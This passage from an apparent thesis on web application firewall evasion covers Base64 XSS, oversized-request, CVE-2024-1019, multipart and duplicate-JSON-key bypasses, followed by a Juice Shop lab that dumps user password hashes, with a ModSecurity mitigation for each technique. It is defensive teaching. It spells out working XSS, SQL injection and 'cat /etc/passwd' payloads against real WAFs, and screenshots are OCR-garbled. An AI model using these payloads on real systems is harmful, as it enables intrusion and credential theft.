the web server. However, in the example of an XSS vulnerability, since the attacker
has the capability to execute Javascript code, it is possible to decode the payload
using the Javascript function atob().

This technique has proven successful to bypass the AWS (Amazon Web Services)
WAF?, as reported by Cognisys Labs!?[26].

In the report, we see that the tested web application is vulnerable to an XSS
vulnerability in the redirect URL parameter. However, the payload:

?redirect=javascript:alert (1)

to execute the alert function that proves the XSS vulnerability, is blocked by the
WAF, as we can see in Figure 4.11.

Request Response a= =
Pretty Raw Hex n = Pratty Raw Hex Render B n =
1 GET /login?redirect=javascript:alert(1) HTTP/2 1 HTTP/2 483 Forbidden
2 bost: I 2 server: ausel/2.0
3 User—-Agent: Mozilla/5.@ (Macintosh; Intel Mac 0S X 3 Date: Tue, 20 Jun 2023 08:49:88 GMT
10.15; rv:109.0) Gecko/20100101 Firefox/114.0 4 Content-Type: text/html
4 Accept: 5 Content-Length: 118
text/html,application/xhtml+xml,application/xml;q=0.9,1i 6
mage/avif, image/webp,*/*;q=0.8 7 <html>
5 Accept-Language: en-GB,en;q=0.5 8 <head>
6 Accept-Encoding: gzip, deflate <title>
7 Upgrade-Insecure-Requests: 1 493 Forbidden
g Sec-Fetch-Dest: document </title>
9 Sec-Fetch-Mode: navigate </head>
18 Sec-Fetch-Site: none 9  <body>
11 Sec-Fetch-User: 71 10 <center>
12 X-Pwnfox-Color: green <hl>
13 Te: trailers 403 Forbidden
14 </h1>
15 </center>
11  </body>
12 </html>
13
@@ & ||| | Search... 0 matches @@} & || Javasc 0 matches

Figure 4.11: XSS payload blocked by the WAF. Source https://github.com/CognisysGroup/c
ognisysgroup.github.io/assets/46415431/b1658e65-64c8-48e0-bc38-1e8ab2f4c743

On the contrary, using the payload:

?redirect=javascript:atob’

PG1tZyBzcmMOMSBvbmVycm9yPWFsZXJOKCJIZWxsbyIpPg=="

Yhttps://aws.amazon.com/waf/?nci=h_ls
Ohttps://labs.cognisys.group
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bypassed the WAF and was able to trigger an alert, as shown in Figure 4.12.

Figure 4.12: AWS WAF bypass using Base64 encoding. Source: https://github.com/Cognisy
sGroup/cognisysgroup.github.io/assets/46415431/5c280ee5-b063-43a3-a26e-46£43f4bb
£99

This payload works like this:

. The atob function decodes the base64 encoding to <img src=1 onerror=alert("Hello")>,
which triggers the Javascript function alert() when errors happen during
loading the image from the source 1, which happens always since the source
is invalid.

« The decoded base64 is then interpreted by the browser as javascript code,
which is the executed.

The Mitigation

To prevent this kind of bypass, it is possible to proceed in two ways:

1. During the normalization phase, it is possible to decode all the base64 encoded
strings to analyze the original payload. For example, in ModSecurity this can
be achieved using the base64Decode transformation function. However, this
can be dangerous when used together with other transformation functions such
as lowercase, because they could invalidate the base64 encoding resulting in
the impossibility to decode. So, when using this approach, it is important to
consider carefully the order in which transformation functions are executed.

2. Alternatively, it is possible to stop every payload that contains a function to
decode base64 encoding, such as atob(), so that attackers are not able to
decode their payload. Of course, this approach is ineffective if the decoding
is performed by the web server. However, the Core Rule Set uses this second
approach.
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4.3 Exploiting a Misconfiguration/Vulnerability

As every security tool, WAFs are as secure as their configuration and implementa-
tion. This means that attackers may leverage upon configuration errors or bugs in
the WAF code to avoid detection.

4.3.1 Submitting Very Large Requests

One thing we need to consider when using a Web Application Firewall is that it may
affect the performance of the protected web application: the slower the WAF is in
analyzing the requests, the greater will be the delay to receive a response. This is
especially true if the WAF needs to analyze big HTTP requests.

In some cases, in order to avoid the WAF's slowing down the application, devel-
opers configure them to not analyze requests which size is bigger than a predefined
number of bytes. However, this could have a great impact on the security of the web
application and the effectiveness of the WAF protection, because if an attacker dis-
covers this misconfiguration he just needs to send bigger requests than the maximum
threshold to avoid their payloads being detected, unless proper security measures
are in place.

During my internship in aizoOn, which was mainly focused on Web Application
penetration testing, my team and I exploited this technique to bypass the Akamai'!
Web Application Firewall.

In particular, when working on a penetration test for a client, we discovered a
Cross-Site Scripting (XSS) vulnerability in the alias parameter. Unfortunately,
when trying to trigger the usual alert() function to prove the existence of the
vulnerability, we got blocked by the WAF, as shown in Figure 4.13.

m s. Inspector |ln I -@exX

Request Response

Raw  Hex  Hackverto N = pretty Raw Hex Render  Hackvertor N = | Selection 54(036) A
POST /index.php

.1 403 Forbidden
Selected text
HTTP/1.1 heml $3Ciframe+src$3Di22javascriptidia
lert('aizoon_xss') 838

Host:
Cookie: PHPSESSID®

024 09:29:47 GMT
e: Mon, 19 Feb 2024 09:29:47 GHT
Connection: close
22.0) Decoded from: URLencoding v @&
G 0100101 Firefox/122.0 <HTHL>
5 Accept: application/json, <HEAD> <iframe src="javascript:alert('ai
Accept-Language: it-IT,it;q=0 <TITLE> zoon_xss')>
7 Accept-Encoding: gzip, deflate, br Access Denied -
Content-Type: application/x-wwe-form-urlencoded; charset=UTF-8 </TITLE>

X-Requested-With: XMLHCtpRequest 12 </HEAD>
10 Cont ~Length: 141 <BODY>

or <HL>

: Access Denied

Fetch-Dest: empty </HL>
1 ors 1

S ame-origin You don't have permission to access

Te: trailers Request body parameters 5 v
17 Connmection: close

Request attributes 2 v

Request query parameters 3 v

19 id_utenter cemails salias= 1 </BODY> Request cookies 2 v
[3Ciframe+sre¥3Ds22javascripti3Aalert ('aizoon xss')$3Ec </HTHL>
Request headers 16 v

Response headers 7 v
Figure 4.13: XSS Payload blocked by Akamai WAF. Some details have been redacted for privacy

reasons.

After a lot of tries with several encoding techniques, we decided to try with a very
big request (more than 8kB), as shown in Figure 4.14.

Unttps://www.akamai.com/products/app-and-api-protector
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mmmmmmmmmmmmmm

Figure 4.14: Very large HTTP request to bypass Akamai. Some details have been redacted for
privacy reasons.

As we can see, in order to be certain that the XSS payload remained clean, we
created a parameter foo with roughly eight thousand characters to enlarge the re-
quest size. Using this request the WAF didn’t trigger any error and we were able to
exploit the XSS vulnerability, as shown in Figure 4.15.

D Response from

Forward Drop Intercept is on Action Open browser

Pretty Raw Hex Render Hackvertor n

1 HTTP/1.1 200 OK

2 Server:

3 Expires: Thu, 19 Nov 1981 0B8:52:00 GMT

4 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
5 Pragma: no-cache

© X-Frame-Options: SAMEORIGIN

7 Content-Length: 11

3 Content-Type: text/html; charset=UTF-8

% Date: Fri, 16 Feb 2024 14:32:50 GHT
10 Connection: close

Figure 4.15: Exploited XSS vulnerability bypassing Akamai. Some details have been redacted for
privacy reasons.

This technique has also been proven successful for the AWS WAF, which doesn’t
analyze requests bigger than 8kB [27].

While limiting the request dimension that the WAF can analyze can be a good
choice on the performance side, we have seen that it could have dangerous implica-
tions on the security one, unless proper security measures are in place.

The Mitigation

To mitigate this kind of bypass it is enough to configure the WAF to block every
request that exceeds the maximum dimension configured. For example, in the case
of the AWS WAF this can be achieved using the SizeRestrictions BODY rule.

4.3.2 Exploiting a Bug

As every software tool, even WAFs could contain bugs in their source code, which
attackers could exploit to bypass their protection.
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Let’s consider for example, the last discovered vulnerability for ModSecurity,
CVE-2024-1019" discovered by the OWASP CRS team [28].

This vulnerability allows attackers bypass the WAF protection for path-based
payloads, which are those payloads that don’t appear in a parameter of the request,
but directly in the URL. Let’s consider for example a web application that retrieves
information about a user using the following URL:

/users/id/<id>

in which the <id> is used as a parameter in an SQL injection statement like the
following:

SELECT * FROM users WHERE id=’<id>’

If the query is vulnerable to SQL-injection an attacker could insert the payload
directly in the URL path:

/users/id/1’ OR 1=1--

This kind of payload is referred to as a path-based one.

The security researchers of the OWASP CRS team discovered that ModSecurity
performs URL-decoding of the URL before separating the URL path component
from the query parameters. This separation is performed at the first ? encountered
in the decoded URL. This allows an attacker to force the separation at a position
of their choosing by inserting %3F (URL encoding of the character ?) in the URL.
So, an attacker can bypass every rule that inspect the URL path component by
inserting the payload after the %3F character. In particular an attacker can bypass
the rules that inspect the REQUEST_FILENAME and REQEST_BASENAME variables which
contain the relative request URL without the query string and the filename of the
request URL respectively. So, for the URL /users/id/1:

REQUEST_FILENAME = /users/id/1
REQUEST_BASENAME = 1

To understand better the vulnerability let’s consider the previous example. If
the attacker uses the same payload:

/users/id/1’ OR 1=1--

ModSecurity will be able to detect it because the variables REQUEST _FILENAME and
REQEST _BASENAME would be correctly populated. However, if the attacker inserts
%3F before the payload:

/users/id/1 %3F ’ OR 1=1--
ModSecurity would populate the two variables like this:

/users/id/1
1

REQUEST_FILENAME
REQUEST_BASENAME

As we can see, the payload is not present, resulting in a bypass of every rule that
inspect these two variables. On the contrary, if the web server uses the last part of
the URL without proper checks, the SQL statement would be:

SELECT * FROM users WHERE id=’1 %3F ’ OR 1=1--’

resulting in a correct exploitation of the SQL injection vulnerability.

2https://nvd.nist.gov/vuln/detail/CVE-2024-1019
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The Mitigation

In order to avoid bypasses that exploit a bug or a vulnerability in the source code, it
is important to always use the latest version of the WAF software and periodically
check security updates in order to be aware of the latest discovered issues and be
quick into solving them, either by applying a patch or by changing the configuration
while waiting for it to be available.

4.4 Impedance Mismatch

As we have seen, in many cases the WAF and the web server on which the ap-
plication is running are hosted on different servers. This means that they could
use different technologies, and, more importantly, they can interpret user input and
HTTP requests differently. This behaviour is also referred to as impedance mis-
match and in some cases can be used by attackers to bypass the protection of the
Web Application Firewalls.

4.4.1 Content-type confusion

An example of a bypass for ModSecurity that leverages upon impedance mismatch
was reported by Terjanq on Medium [29].

To understand this bypass, a brief reminder on how the mulitpart/form-data
content type works is needed. This content type is mostly used when we want to
send an HT'TP request containing different parts with different MIME types. When
we specify multipart/form-data as the content type, we also need to specify a
boundary, which is used as a separator for the different parts of the request. To
understand better, let’s consider the following example:

POST /login HTTP 1.1
Content-Type: multipart/form-data; boudary=test

—-—test
Content-disposition: form-data; name="username"

<username>
-—test
Content-disposition: form-data; name="password"

<password>
——test——

As we can see, each part of the request is composed by the boudary prefixed with
-—, the Content-disposition header, which is used to specify the part name and
MIME type and the actual value for the part. The important thing to notice is
that after the Content-disposition header, there is always a blank line before the
actual value for that part.

Terjanq discovered that, if the value for a specific part is not present and there
is a single blank line between the Content-disposition header and the following
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part, ModSecurity treats the corresponding parameter as empty. On the other hand,
some servers perform a different interpretation: they consider the rest of the request
as the value for the parameter. Let’s go back to the example before to understand
better, slightly modifying it removing the username value:

POST /login HTTP 1.1
Content-Type: multipart/form-data; boudary=test

-—test
Content-disposition: form-data; name="username"

-—test
Content-disposition: form-data; name="password"

<password>
-—test——

If we sent this request, ModSecurity would think that the username field is empty,
while some server would think that its value is:

-—test
Content-disposition: form-data; name="password"

<password>

This means that the attacker could craft a request that exploits these different
interpretation to send a payload and avoid detection. For example, an attacker
could send a request like the following to exploit an SQL injection vulnerability:

-—test
Content-disposition: form-data; name="username"

-—test
Content-disposition: form-data; name="jj"; filename="ccc"

’0R 1=1--
-—test
Content-disposition: form-data; name="password"

test123
-—test—-—

Note that a line with a filename has been added because the Core Rule Set ignores
the content of the files, so the WAF isn’t able to see the > OR 1=1-- payload. If
we put the same payload in the password field it would have been detected when
inspecting the password value.
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4.4.2 JSON Duplicate Keys

Impedance mismatch was also proven successful to bypass the AWS WAF, as re-
ported by Andrea Menin on Sicuranext!3.

This bypass exploited the fact that the JSON, a data format composed of key/-
value pairs, standard doesn’t provide enough information on how to handle dupli-
cate keys. This results in having different implementations of the JSON parsing that
handle duplicate keys differently, bringing to the possibility of impedance mismatch
bypasses for the WAFs.

The default behaviour of the AWS WAF when JSON objects with duplicate keys
are encountered is to not take any action. So, the attacker just has to know how
duplicate keys will be handled on the web server to craft attack payloads that bypass
the WAF.

In the Proof of Concept (PoC) shown by Andrea Menin, a PHP web server
with a command execution vulnerability, which allows attackers to execute system
commands on the server on which the application is running, was tested. PHP
handles JSON duplicate keys by taking as value the on of the last occurrence, so if
we send a JSON object like the following:

|'Ei'l: llf:ilrs-tll’
"a":"second"

3

the PHP web server will assign the value second to the key a.
As we can see by Figure 4.16, if we insert a system command in a JSON object
without duplicate keys, the AWS WAF is able to recognize it and block it.

Request Response
Pretty Raw Hex n = Pretty Raw Hex Render
1 POST /test.php HTTP/1.1 1 HTTP/1.1 483 Forbidden
2 Host: example.com 2 Server: awselb/2.9
2 Content-Type: application/json 2 Date: Wed, 28 Jun 2023 09:00:08 GMT
4 Content-Length: 31 4 Content-Type: text/html
5 5 Content-Length: 118
6 { 6 Connection: keep-alive
7 "cmd":"cat fetcfpasswdr 7
8} g <html>
<head>
<title>
403 Forbidden
</title>
</head>
18 <hody>
11 <center>
<hl>
403 Forbidden
</hl=

<fcenter>
12 </body>
12 </html>
14

Figure 4.16: Command execution payload blocked by AWS WAF. Source: https://blog.sicur
anext.com/content/images/2023/07/image-2.png

Bhttps://blog.sicuranext.com
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However, using the technique we described, it is possible to bypass the WAF, as
shown in Figure 4.17.

Request Response
Pretty Raw Hex n = Pretty Raw Hex Render
1 POST /test.php HTTP/1.1 1 HTTP/1.1 200 OK
2 Host: example.com 2 Date: Wed, 28 Jun 2023 @9:22:12 GMT
3 Content-Type: application/json 3 Content-Type: text/html; charset=UTF-2
4 Content-Length: 46 4 Content-Length: 146
5 5 Connection: keep-alive
6 { 6 Server: Apache/2.4.38 (Debian)
"cmd": " foo", 7 X-Powered-By: PHP/7.2.34
"cmd":"cat /etc/passwd” 2 Wary: Accept-Encoding

9} 9
10 RAW Body:

11 {

12 "cmd": "foo",

12 "cmd”: “cat fetc/passwd”
14 '}

6 JSON decoded:

7 stdClass Object

8|(

= [cmd] => cat /etc/passwd

)

21

2L

Figure 4.17: Command execution payload bypassing AWS WAF. Source: https://blog.sicuran
ext.com/content/images/2023/07/image-3.png

As we can see, in this case the command wasn’t really executed as the tested ap-
plication was just created to demonstrate the bypass, but the WAF wasn’t able to
recognize the payload.

4.4.3 The Mitigation

In order to mitigate WAF bypasses that leverage upon impedance mismatches it is
really important to know the differences between the server hosting the WAF and
the one on which the web application is running, especially in how they interpret
HTTP requests and user input. Once the differences are known it is possible to
change the configuration of either the WAF or the web server to align them on the
same interpretation.

For example, the bypass we showed for ModSecurity could be mitigated writing a
rule that forbids request parts without a value. While the bypass we showed for the
AWS WAF can be mitigated by changing the default behaviour to the one adopted
by the web server.

In this Chapter we have seen several techniques that attackers could use to bypass
different kinds of WAFs. It is important to remember that many other techniques
exist and that it is impossible to avoid them entirely. So, while using a WAF is a
good security practice and it sensitively improves the security of web applications,
it would be a big mistake to feel completely safe. To further demonstrate this, in
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Chapter 5 we will set up a test environment using ModSecurity and the OWASP
Juice Shop to put the techniques learnt in this chapter into practice.
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CHAPTER 5

HANDS-ON WAF EVASION AND
MITIGATIONS

In this Chapter we will put into practice the WAF evasion techniques we have learnt
in Chapter 4 using the OWASP Juice Shop! as target application and ModSecurity
with the Core Rule Set as Web Application Firewall.

In particular, we will try to understand the testing methodology to bypass a WAF
from the point of view of an attacker and, for every successful bypass technique, we
will write ModSecurity rules to mitigate it.

5.1 Building The Test Environment

To build the test environment we will use to test WAF bypass techniques, we will
utilize Docker Compose?, a popular tool to define and run multi-container appli-
cations, since both the OWASP Juice Shop and ModSecurity have their Docker
images4, that make the configuration easier.

In particular, we will use the docker compose file shown in Figure 5.1. This
will let us create a docker container composed by two sub-containers: one running
ModSecurity, the other running the OWASP Juice Shop. The environment variables
are used to configure the single sub-container.

For the Juice Shop container we just have the NODE_ENV variable set to unsafe,
which lets us enable all the vulnerabilities that would otherwise be disabled for
security reasons.

For the ModSecurity container we have more environment variables, the most
interesting being:

« BACKEND, which is used to specify the URL of the web server running the
application to which ModSecurity will forward HTTP requests after having
analyzed them.

. PARANOIA, which is used to set the paranoia level of the Core Rule Set.

'https://owasp.org/www-project-juice-shop/
2https://docs.docker.com/compose/
3https://hub.docker.com/r/bkimminich/juice-shop/
“https://hub.docker.com/r/owasp/modsecurity/
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. MODSEC_RULE_ENGINE and MODSEC_RESP_BODY_ACCESS, which are used to enable
the ModSecurity rule engine and access to the response body respectively.
Note that access to the request body is enabled by default.

Finally, we configure the ModSecurity container to publish port 80 to the outside
world and map it to the internal port 80, which is the port on which ModSecurity
will listen for HT'TP requests.

Figure 5.1: The docker compose file used to build the test environment

When everything is configured and set up, out container will look like the one shown
in Figure 5.2.

Ki docker

o

modsecurity

Open Source Web Application Firewall .

+

OWwRsSP

N o neosverense

http://juice-shop:3000 | JESg® OWASP Juice Shop

http://modsec2-apache:80

http://localhost:80

Figure 5.2: The docker container running the test environment
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As we can see in Figure 5.2, every HT'TP request to http://localhost:80 will be
forwarded to ModSecurity, which will analyze them and, if they are not malicious,
will forward them to the OWASP Juice Shop for processing. Then, ModSecurity
will receive the response from the web server and return it back to us.

Now that everything is correctly configured, we can start testing for WAF bypasses.

5.2 SQL Injection Through Impedance Mismatch

The OWASP Juice Shop contains an SQL Injection vulnerability in the search
product functionality. We can confirm this by injecting the payload ’-- in the

q URL parameter, which is the one containing the user search value, as shown in
Figure 5.3.

I
Request Response
Raw  Hex W = pretty Raw  Hex n =
1 GET /rest/products/search?q="-- HTTE/L.l 1 HTTE/1.1 500 Internal Server Error
2 Host: localhost 2 Access-Control-aAllow-Origin: *
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd; =64, rv:123.0) Gecko/2010010L 2 X-Content-Type-Options: nosniff
Fi z A ions: SAMEORIGIN
A tion/json, text/plain, */* payment "self'
5 Accept-Language: it-IT,it;q=0.8, en-US;q=0.5, =n;q=0.3 6 /jobs
¢ Accept-Encoding: gzip, deflats, br 7 Contemt-Type: application/json; charset=utf-g
7 connection: elose 8 Vary: Accept-Encoding
¢ Referer: http://localhost/ S Date: Mon, 1B Mar 2024 08:38:20 GMT
9 Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; 10 connection: close
74QDO4 Ky OqEI7I2navE [YVAJ1GMlwWxalND5 r cZR b3 11 content-Length: 295
P -
el
"SQLITE_ERROR: incomplete input”,
rror: SQLITE ERROR: incomplete input”,
LITE_ERRGE",
* FROM Products WHERE ((name LIKE '3'--%' OR description LIKE '§'--%') A

=dAt T8 NULL) ORDER BY name"

Figure 5.3: SQL Injection confirmation

As we can see, the response from the server contains an error message which discloses
the SQL query executed. This is useful for two reasons:

1. It confirms the SQL Injection vulnerability.
2. It helps to craft a payload to exploit it.

This vulnerability can be exploited to retrieve the content of the database and, in
particular, the emails and passwords of the registered users. To do so, it is possible
to use the following payload:

’)) union select email,password,3,4,5,6,7,8,9 from users;

However, when sending the request with this payload, ModSecurity blocks us as it
recognizes it as malicious, as we can see from Figure 5.4.
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Request Response
eth Raw  Hex w o= Pretty  Raw  Hex  Render w o=
1 GET /rest/products/search?q= HTTE/1.1 403 Forbidden

elect+email, password,3,4,5,6,7,8, 9+fromtusers; HITR/1.1 2 on, 18 Mar 2024 08:42:22 GMT
2 Host: localhost cr: Apache
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; x64; rv:123.0) Geeko/20100101 4 Content-Length: 199

Firefox/123.0 S Connection: close

4 Accept: application/json, text/plain, */* € Content-Type: text/html; charset=iso-8859-1
5 Accept-Language: it-IT,it;q=0.8,en-US;q=0.5, en;jq=0.3 7
€ Accept-Encoding: gzip, deflate, br © <IDOCTYEE HTML EUBLIC "-//IETF//DTD HIML 2.0//EN">
close 9 <ntml>
<head>
b = =dismiss; cooki _status=dismiss 10 <title>
10 Sec-Fetch-Dest: empty 403 Forbidden
11 Sec-Fetch-Mode: cors </title>
12 Sec-Fetch-Site: same-origin 11 </head>
13 Tf-None-Match: W/"325f-+9rgv/ 231KETKRE50003T/ mX+E8 " <body>
4 <hl>
Forbidden
</hl>
<p>
You don't have permission to access this resource.
</p>
</body>

</htnl>

Figure 5.4: SQL Injection payload blocked by ModSecurity

During testing, I found out that the web server running the OWASP Juice Shop
concatenates the value of duplicate parameters. This means that if we request the
URL /rest/products/search?q=test&q=123, the web server will use

test,123

as value for the q parameter. This can be confirmed by looking at Figure 5.5.

Request Response
Raw  Hex N = | pretty Raw  Hex  Rende w =
1 GET /rest/products/search?q=testég='-- HTTE/Ll.1 1 HTTP/L.1 500 Internal Server Error

2 Host: localhost 2 Acce:
Mozilla/5.0 (Windows WT 10.0; Winéd; x=64; rv:123.0) Gecko/20100101 2%
.0 4%
pplication/json, text/plain, */* 5 Feature- payment 'self

Control-allow-Origin: *

5 Aecept-Language: it-IT,it;q=0.8,en-US;q=0.5, en;q=0.3 € X-Recruiting: /#/3obs

€ Accept-Encoding: gzip, deflate, br 7 Content-Type: application/json; charset=utf-g
7 connection: close 8 Vary: Accept-Encoding

8 Refersr: http://localhost/ 9 Date: Mon, 18 Mar 2034 08:52:16 GMT

9 Cockie: L e=en; wels s=dismiss; ceoki status=dismiss; 10 Connection: clese

4QDOAKyYOqPIT S Znovp SEQIBG Y VATLGM Wz a INDS £ = ZRLzmxk GEbmz2Rb3 11 Content-TLength: 305
pt:

Fetch-gite: same-origin

SQLITE_ERROR: incomplete input”,
"Error: SQLITE_ERROR: incomplete input”,

"i "SQLITE_ERROR"

* FROM Products WHERE ((name LIKE '$est, '==%' OR description LIKE '§te
st,'--%") AND deletedAt IS NULL) ORDER BY name"

Figure 5.5: Duplicate parameters concatenation confirmation

As we can see from the error message, the values provided for the q parameter
are concatenated using the , character. On the other hand, ModSecurity doesn’t
perform this concatenation and analyzes the values separately. This means that we
can use the impedance mismatch technique to construct a request that bypasses
the WAF and exploits the SQL injection vulnerability.
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To do so, we need to split the previous payload in half, so that both halves aren’t
recognized as malicious by ModSecurity rules. For example we could use:

« ’)) union select /* as the first half.

. */ email ,password,3,4,5,6,7,8,9 from users; as the second half.

So, when the web server concatenates the values we obtain the payload:
’)) union select /*,*/ email,password,3,4,5,6,7,8,9 from users;

Note that the , concatenation character is now inside an SQL comment, so it doesn’t
interfere with our payload. Using this payload we are able to bypass the WAF and
retrieve all users’ emails and passwords, as we can see from figure 5.6.

Request Response

Hex M = pretty Raw  Hex n o=
ducts/search?q=test') ) +uniont/*foo*/+select/ *aq= 1 HPTE/1.1 200 OK

d,3,4,5,6,7,8, F+Eromtusers; HOTE/1.1 2 Date: Mon, 18 Mar 2024 08:55:08 GMT
2 Host: localhost 3 Server: Apache
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; x64; rv:123.0) Gecko/20100101 4 Access-Control-Allow-Origin: *

5 ¥-Content-Type-Options: nosniff
Options: SAMEORIGIN
icy: p

ext/plain, */*

=0.8, en-Us;q=0.5, en; q=0.3
ate, br

se 9 Content-Typ

plication/json; charset=utf-8

8 Referer: http://localhost/ 10 Content-Length: 3470
9 Cookie: language=en; welcomebanner_status=dismiss; coockisconsent_status=dismiss 11 ETag: W/"d8e-hz5SnpYhQVULCOCQAbEgAqDT4ge”
10 Sec-Fetch-Dest: empty 12 Vary: Accept-Encoding

11 sec-Fetch-Mode: cors 12 Connection: close
12 Sec-Fetch-Site: same-origin 14
£-NWone-Match: W/ "325£-+9rgy/BZLRETkRZ50003T/ mX+B8 " 15 4

"status": "success”,

4@juice-sh.op”,
abc04s4a6eaB£1327d0aas3714b7d",

"updatedAt”: 8,
"deletedAt™: 9

"id": "accountant@juice-sh.op",
"name": "963e10£92a70h4h463220chdc5dE36de",
"description”:3,

"deletedAt”: 9

Figure 5.6: WAF bypass and SQL Injection exploitation

On final thing to note is that in the payload shown in Figure 5.6 there is an additional
comment between the union and select keywords. This is essential for this payload
to work because it lets us bypass all the rules that verify that the two keywords union
and select don’t appear one after the other.

Mitigation

In order to mitigate this bypass, it is possible to write a ModSecurity rule that
blocks every request with duplicate parameters names, like the following one:

SecRule &ARGS_NAMES:q "@gt 1"
"id:<id>,
phase:2,
block,
t:none,t:utf8toUnicode,t:urlDecodelni,
msg:’Duplicate parameter names detected’"

This rule counts the number of occurrences of the parameter name q, verifies if it is
greater than one and, if so, blocks the request. Once this rule has been configured,
the bypass we have seen isn’t possible anymore, as we can see from Figure 5.7.
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Request

Raw  Hex

1 GET /rest/products/search?q=test'))+uniont/*foo*/+selectio

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4;

© Accept-Encoding:

8 Referer:

*/email, password,3,4,5,6,7, 8, O+fromtusers; HPTR/1.1
Host: localhost

%64; rv:123.0) Gecko/20100101
Firefox/123.0

Accept: application/json, text/plain, */*

Accept-Language: it-IT,it;q=0.8,=n-US;q=0.5, en;g=0.3

gzip, deflate, br

Connection: close

http://localhost/

9 Cookis: language=esn; welcomehanner_status=dismiss; cookisconsent_status=dismiss

0 See-Fetch-Dest:

empty
Sec-Fetch-Mode: cors
sec-Fetch-site:

If-None-Match:

same-origin
W/ "325f-+9rgv/ 221 KE6TkRZS0003T/mX+E8 "

8w

Response

= prety

Raw  Hex  Render n

HTTR/1.1 403 Forbidden

Date: Mon, 18 Mar 2024 15:16:55 GMT
Server: Apache

Content-Length: 199

Connection: close

Content-Type: text/html; charset=iso-8859-1

<t

DOCTYEE HIML PUBLIC "-//IETF//DTD HIML 2.0//EN">

S <html>

<head>
<title>
403 Forbidden
</titlex
</head>
<b

You don't have permission to access this resource.
</p>
</body>

</html>

Figure 5.7: WAF bypass payload blocked after mitigation

5.3 SQL Injection Through Parameters Overflow

The technique we used in Section 5.2 is not the only one that can be used to bypass
ModSecurity and exploit the SQL Injection vulnerability in the search product
functionality.
Indeed, during testing I discovered that this installation of ModSecurity and the
Core Rule Set stops analyzing the content of parameters after a certain number,
specifically 400. This let’s us craft a request with 400 parameters with a value that
does not trigger any ModSecurity rule and put our payload in the 401st parameter
to bypass the WAF and exploit SQL Injection, as we can see from Figure 5.8. As we

Request

Raw  Hex

1 GET /rest/products/search?foo=06foo=0&foo=06f00=0&foo=0&foo=0&fo0=06foo=0a£o0=0&

@ Referer:

f00=06f00=06f00=06Foo=06foo=0&foo=06fo0o=0&foo=0&Eoo=
£00=0&£00=0& £00=0&£00=0& £00=0&fa
£00=0&foo=0&foo=0&fao=0& foo=0&fa
£00=0&f00=0&f00=0&£ao=0& foo=0&fa
£00=06f00=06f00=06F00=0&foo=0&fo
f00=0&Ff00=06&foo=0&F0o=0&foo=0&fa

afoo=0afoo=O&fo.
&foo=0&foo=0&fo.
sfoo=0&foo=O&fo.
&foo=0&foo=0&fo.
&foo=0&foo=0&fo.
afoo=0&foo=O&fo.

f00=0&F00=06foo=06Foo=06foo=08foo=06fo0o=0&foo=06fo0=0&foo=0&foo=08foo=0&fo0=08
£00=06£00=08&£00=06£00=0& £00=0&f00=08£00=0&f0o=0&£00=0& foo=0&£00=0& foo=0&£fo0=0&
£00=0&foo=0&foo=0&fao=0& foo=0&fa sfoo=0&foo=O&fo.
£00=0&f00=0&f00=0&£ao=0& foo=0&fa &foo=0&foo=0&fo.
£00=06f00=06f00=06F00=0&foo=0&fo &foo=0&foo=0&fo.
f00=0&Ff00=06&foo=0&F0o=0&foo=0&fa afoo=0&foo=O&fo.

fo
£00=08£00=0&£00=0&£00=0& £00=08fao=08&foo=0&fao=08£00=08foo=08£00=08fo0=08f0c:
£00=0&fo0=0&foo=0&fao=0 & foo=0&fao=0cfoo=0sfao=08foo=08foo=08foc=0sfoo=08f00c:

0e

£00=0&f00=0&f00=0&£ao=0& foo=0&fa =0 g foo=0&£o. =0&£foo=06foo=0&foo=04
£00=06f00=06f00=06F00=0&foo=0&fo &foo=0&fa &£00=0&fo0=0&f00=06
f00=0&Ff00=06&foo=0&F0o=0&foo=0&fa &foo=D&fo afoo=0&foo=0&foo=06
f00=0&f00=06&fo0=0&Foo=0&foo=0&fa &foo=D&fo afoo=0&foo=0&f00=0&
fo00=0&fo0=06&foo=0&Ffoo=08foo=0&fo &foo=D&fo afoo=0&foo=0&fo0=0&
£00=0&£00=0& £00=0&£00=0& £00=0&fa &foo=D&fo &f00=0&foo=0&£00=04&
£00=0&fo0=0&foo=0&fao=0&foo=D&fa &foo=D&fo &foo=0&foo=0&f00=08
£00=0&f00=0&f00=0&£ao=0& foo=0&fa &foo=0&fa &f0o=08foo=0&f00=08
£00=06f00=06f00=06F00=0&foo=0&fo &foo=0&fa &£00=0&fo0=0&f00=06
f00=0&Ff00=06&foo=0&F0o=0&foo=0&fa &foo=D&fo afoo=0&foo=0&foo=06
f00=0&f00=06&fo0=0&Foo=0&foo=0&fa &foo=D&fo afoo=0&foo=0&f00=0&
fo00=0&fo0=06&foo=0&Ffoo=08foo=0&fo &foo=D&fo afoo=0&foo=0&fo0=0&

£00=0&fo0=06foo=0&£00=0&foo=0&£o0=0&foo=0&foo=0&Ea0=0&foo=0&E£oo=0 6 foo=0&foo=06
foo=0&q=test'))+union+select+email, password,3,4,5,6,7,8, 9+Eromruscrs—- HPTE/1.1
Host: localhost

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinGd;
Firefox/123.0

64; rv:123.0) Gecks/20100101

accept: application/json, text/plain, */*
i it-IT,it;q=0.8,=n-Us;q=0.5, =
gzip, deflate, br

http://localhost/

Figure 5.8: WAF bypass

[= U]

and SQL Injection

Response

Pretty

as=
aw

Raw  Hex

1 HTTE/1.1 200 OK

S Feature-Policy:
€ X-Recruiting:
ontent-Type:
Tag: W/"dBe-ha38npYhQVULCOCTAD fgAqTage”
ary: Accept-Bncodi
Date:

- Frame-Options:

Connection:
ontent-Length:

ccess-Control-Allow-origin: *
-Content-Type-Options: nosniff

SAMEORTGIN
payment "self'
J#/50bs

application/json; charset=utf-8

18 Mar
close

3470

Mon, 4 16:12:07 cuT

"id": "TL2934 6 ud:
"name": "JcZabeldcdabeaBf1327d0aas3714b7d",
"description":3,

"price":4,
"deluxePrice”:5,
"imags": 6,

"ereatedAt”:7,
"updatedAt”: 8,
"deletedAt": 9

nide
"name"

ountant@juice-sh.
63210 £92a70b4h463
"description”:3,

ch4c5de3sde”,

"deluxePrice":5,
"image": 6,

"id": "admin@juice-sh. op",

exploitation using an high number of parameters

can see, using a different bypass technique, we are able to exploit the SQL Injection
vulnerability and obtain the same result as the one shown in Section 5.2.
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Mitigation

